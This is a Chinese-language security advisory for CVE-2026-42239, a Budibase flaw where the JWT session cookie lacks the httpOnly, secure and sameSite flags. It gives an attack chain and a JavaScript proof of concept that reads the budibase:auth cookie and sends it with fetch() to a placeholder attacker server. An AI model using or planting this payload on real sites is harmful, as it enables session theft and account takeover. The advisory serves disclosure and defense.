IPBUF安全漏洞报告
English
CVE-2026-42239 CVSS 8.1 高危

CVE-2026-42239 Budibase Cookie安全配置不当漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-42239
漏洞类型
Cookie安全配置不当
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Budibase

相关标签

BudibaseCVE-2026-42239Cookie安全XSS账户接管信息泄露

漏洞概述

Budibase开源低代码平台在3.35.10版本之前存在严重的安全配置漏洞。由于用于存储JWT会话令牌的budibase:auth Cookie未设置httpOnly属性,导致JavaScript可以通过document.cookie读取该令牌。这一缺陷使得应用程序中的任何跨站脚本(XSS)漏洞都能被利用为完整的账户接管工具,攻击者可窃取JWT并获取受害者账户的持久访问权限。此外,该Cookie还缺少secure和sameSite属性,进一步增加了安全风险。

技术细节

该漏洞的根本原因位于Budibase后端核心代码的`packages/backend-core/src/utils/utils.ts:218`文件中。在该处设置`budibase:auth` Cookie时,开发者将`httpOnly`属性设置为`false`。`httpOnly`标志是防御XSS攻击窃取Cookie的关键机制,禁用它意味着客户端JavaScript可以完全访问该Cookie。由于该Cookie承载了JWT(JSON Web Token)身份验证凭证,一旦攻击者在应用中发现并利用XSS漏洞注入恶意脚本,该脚本即可遍历`document.cookie`,提取出JWT令牌并将其发送到攻击者控制的服务器。获取JWT后,攻击者无需受害者的密码或其他凭证,只需在请求头中携带该令牌,即可冒充受害者身份进行操作,实现账户接管。同时,缺少`secure`属性意味着Cookie可能通过不安全的HTTP连接传输,缺少`sameSite`属性则使其容易受到跨站请求伪造(CSRF)的影响。

攻击链分析

STEP 1
步骤1:侦察与发现
攻击者确认目标系统使用的是Budibase且版本低于3.35.10,并在应用中寻找存在XSS漏洞的输入点(如评论框、用户资料页等)。
STEP 2
步骤2:载荷构造
攻击者构造恶意JavaScript代码,该代码旨在读取document.cookie中的budibase:auth值,并将其发送到外部服务器。
STEP 3
步骤3:漏洞利用
攻击者诱导受害者(通常是高权限用户)访问包含恶意XSS Payload的链接。受害者的浏览器解析并执行该恶意脚本。
STEP 4
步骤4:凭证窃取
由于Cookie未设置HttpOnly,恶意脚本成功读取到JWT会话令牌,并将其通过网络请求发送给攻击者。
STEP 5
步骤5:账户接管
攻击者接收到JWT令牌,将其添加到自己的浏览器请求头中,从而以受害者的身份登录并完全控制Budibase账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Proof of Concept (PoC): Demonstration of Cookie Theft via XSS Context: Budibase < 3.35.10, budibase:auth cookie lacks HttpOnly flag. --> <script> // Function to exfiltrate the JWT token function exploitXSS() { // Since httpOnly is false, JS can read the cookie const cookies = document.cookie; const targetCookieName = 'budibase:auth='; // Simple parsing to find the specific cookie const startIndex = cookies.indexOf(targetCookieName); let jwtToken = ''; if (startIndex !== -1) { let endIndex = cookies.indexOf(';', startIndex); if (endIndex === -1) { endIndex = cookies.length; } // Extract the token value jwtToken = cookies.substring(startIndex + targetCookieName.length, endIndex); // Send the token to an external server controlled by the attacker // In a real scenario, this would be an attacker's URL const attackerUrl = 'https://attacker-controlled-server.com/log?token=' + encodeURIComponent(jwtToken); // Use fetch() or new Image() to send the data fetch(attackerUrl).then(() => console.log('Token exfiltrated successfully')); } else { console.log('Target cookie not found.'); } } // Execute the exploit exploitXSS(); </script>

影响范围

Budibase < 3.35.10

防御指南

临时缓解措施
如果无法立即升级,建议部署严格的Web应用防火墙(WAF)规则以检测和阻断XSS攻击尝试,从而降低Cookie被窃取的风险。同时,应强制实施HTTPS并教育用户不要点击可疑链接。然而,最根本的缓解措施依然是应用官方补丁。

参考链接